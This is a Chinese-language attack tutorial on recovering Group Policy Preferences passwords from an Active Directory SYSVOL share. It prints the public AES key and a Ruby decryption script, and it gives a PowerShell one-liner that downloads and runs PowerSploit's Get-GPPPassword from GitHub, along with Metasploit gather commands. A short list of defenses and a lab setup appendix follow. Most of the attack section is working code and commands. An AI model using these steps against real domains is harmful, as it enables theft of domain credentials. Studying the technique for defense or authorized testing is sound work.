這種方法是最簡單的,因為不需要特殊的“黑客”工具。所有的攻擊必須做的是打開Windows資源管理器,並搜索域名為SYSVOL DFS共享的XML文件。在大多數情況下,以下XML文件將包含憑據:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.
SYSVOL是所有經過身份驗證的用戶具有讀訪問權限的Active Directory中的域范圍共享
SYSVOL是指存儲域公共文件服務器副本的共享文件夾,它們在域中所有的域控制器之間復制。 Sysvol文件夾是安裝AD時創建的,它用來存放GPO、Script等信息。同時,存放在Sysvol文件夾中的信息,會復制到域中所有DC上。
SYSVOL包含登錄腳本,組策略數據以及需要在任何有域控制器的任何地方可用的其他域范圍數據(因為SYSVOL在所有域控制器之間自動同步並共享)。所有域組策略都存儲在這里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \
注意:C:\Windows\SYSVOL目錄下,只有創建組策略腳本登錄才能有策略腳本配置文件groups.xml,默認是沒有的
當創建新的GPP時,在SYSVOL中創建了一個與相關配置數據相關聯的XML文件,如果提供了密碼,那么AES-256位加密應該足夠強的。
用於加密任何域中的所有組策略首選項密碼的32字節AES密鑰:
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
由於經過身份驗證的用戶(任何域用戶或受信任域中的用戶)都具有對SYSVOL的讀取權限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,該文件是包含AES加密密碼的值
通過ruby腳本進行解密:
require 'rubygems' require 'openssl' require 'base64' encrypted_data = " v0hX9w3D40aFkfgtPgcz1yWPcjp+BqICihQlATkp50g " def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah
use: ruby gpp,.rb
posershell腳本獲取GPP密碼:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1');Get-GPPPassword"
powershell import-modulo .\Get-GPPpassword.ps1;Get-GppPassword
MSF下的GGP解密:
msf > use post/windows/gather/credentials/gpp msf >post(gpp) > sessions msf >post(gpp) > set SESSION 1 msf> post(gpp) > show options msf >post(gpp) > run
防御方法:
- 在每台電腦上都安裝上KB2962486補丁,可以防止新的用戶憑證被放到組策略配置文件當中。
- 刪除SYSVOL目錄中包含密碼的GPP xml文件。
- 不要把密碼放在所有認證用戶都有權訪問的文件當中
附錄:
gpp組策略搭建:
讓我們看一個例子,說明通過組策略定義本地用戶登錄。它從創建和編輯組策略對象開始:
在域組織中的組策略對象中創建一個登錄賬號腳本策略:名稱為:
gpp_local_login:
選擇新建的組策略gpp_local_login然后編輯:
用戶配置---控制面板設置---本地用戶和組--新建-本地用戶中添加一個腳本登錄。
可以看到域控制器行創建了本地組策略的文件:
通過網絡共享可以訪問到GPP的組策略的文件:
\\bk.com\SYSVOL\bk.com\Policies\{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml
打開可以看到存儲的cpasword密碼: